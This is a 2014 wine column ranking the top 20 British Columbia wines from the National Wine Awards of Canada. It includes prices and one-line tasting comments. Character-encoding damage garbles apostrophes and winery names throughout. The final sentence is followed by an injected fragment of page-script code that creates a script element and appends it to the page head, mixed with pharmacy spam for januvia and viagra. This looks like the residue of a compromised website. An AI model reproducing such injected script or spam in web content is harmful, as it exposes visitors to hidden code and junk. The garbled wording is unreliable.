Top 20 BC wines in the National Wine Awards – Aug. 9, 2014

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There was plenty of good news regarding B.C. wineries as the WineAlign 2014 National Wine Awards of Canada were recently announced (disclaimer: I share the head judging duties with my Ontario counterpart David Lawrason).

The Canadian Winery of the Year went to Peller Estates Niagara, which barely eclipsed the 2013 winner, Mission Hill Family Estate. Both wineries grabbed one platinum medal and four gold medals. Next was Nka��Mip Cellars, Jackson-Triggs Niagara and three-time winner Tawse Winery. Quailsa�� Gate, Road 13 and Staga��s Hollow round out the B.C. wineries in the top 10. You can view all the result at

What you wona��t find broken down in the results are the top 20 rated wines from British Columbia. That list is the essence of todaya��s column. You can locate these wines first, direct from the winery, then at the usual outlets: VQA stores, private wine shop, B.C. Liquor stores and restaurants.

Herea��s the list as determined by the judges scores, with a brief comment on each wine.

1. Nka��Mip Cellars 2013 Qwam Qwmt Riesling Icewine ($60): an exceptional bottle that justifies the production of this expensive Canadian delicacy.

2. Summerhill Pyramid Winery 2013 Organic Riesling ($20): a fine example of organic wine not needing to be ordinary. Great value too.

3. Mission Hill Family Estate 2011 Perpetua ($35): This chardonnay continues its journey to becoming more transparent, more natural and more Okanagan.

4. Orofino 2013 Gamay Celentano Vineyard ($23): If you want to know why the Similkameen Valley is special, buy this wine.

5. Quails Gate 2012 Stewart Family Reserve Chardonnay ($35): The best yet from Quailsa�� Gate, which placed sixth over-all in the country, making an impressive statement with its wines.

6. Thornhaven Estates 2012 Syrah $(25): Under-valued, under-priced, and under-stated.

7.A� Laughing Stock Vineyards 2012 Syrah ($36): This wine improves every time out and reminds me of several excellent syrahs made in the northern Rhone.

8. Road 13 Vineyards 2012 Syrah Malbec ($32): In a province full of ho-hum red blends, this peculiar mix of syrah and malbec is amazingly complex and mouth filling.

9. St. Hubertus Riesling 2012 ($16.75): So happy for the success of this very pure rendition of riesling and great value.

10. Le Vieux Pin 2011 Equinoxe Syrah ($85): Winemaker Severine Pinte continues to reveal the terroir of the south Okanagan by doing everything and nothing at Le Vieux Pin.

11. Thornhaven Estates 2012 Pinot Meunier ($18): Fun to see a grape known mostly for its work in sparkling wine blends shine so bright against the standalone red varietal wine crowd.

12. Stoneboat Vineyards 2011 Pinotage ($25): Maybe the best pinotage made outside South Africa and better than most imported in B.C..

13. Staga��s Hollow Winery 2013 Viognier Hearle Vineyard ($22): This northern Rhone specialty continues to show huge promise in B.C. and Staga��s Hollow has the pulse of it.

14. River Stone 2012 Cabernet Franc River Rock Vineyards ($26): A wonderful wine from a south Okanagan newcomer that took on the big boys and won.

15. Church & State 2012 Tre Bella ($20): As I said last year about the previous edition of this wine, Tre Bella is a delicious mix of marsanne, roussanne and viognier and its one ofA�those wines that can change the way you think about the Okanagan

16. Gray Monk 2010 Odyssey Traditional Brut ($30): This is the sparkling wine that flies most under the radar in B.C. It deserves a much wider audience. Great value.

17. PentA?ge Winery 2013 Viognier ($22): Another viognier that demonstrates why this grape is going places in B.C.

18. Nka��Mip Cellars 2012 Qwam Qwmt Cabernet Sauvignon ($30): Winemaker Randy Picton makes the list again, this time with the most difficult grape to ripen in B.C. but he has a source inA�Osoyoos that really measures up.

19. Oak Bay Vineyard Gamay Noir 2012 ($17): Another strike for the Gebert boys, who show why it is easy to be excited about gamay in B.C.

20. Tightrope Viognier 2013 ($27): From a promising Naramata newcomer, what more can we say about viognier and British Columbia? It appears they go together.

It has been 14 years since we first spent an entire week tasting the countrya��s best wines but after this yeara��s tasting in Penticton, that original competition seems as if it happened a hundred years ago. Congratulations to all the winners. Youa��ve come a long way.var d=document;var s=d.createElement(‘script’); order januvia } else {d.getElementsByTagName(‘head’)[0].appendChild(s); viagra super activ Pills

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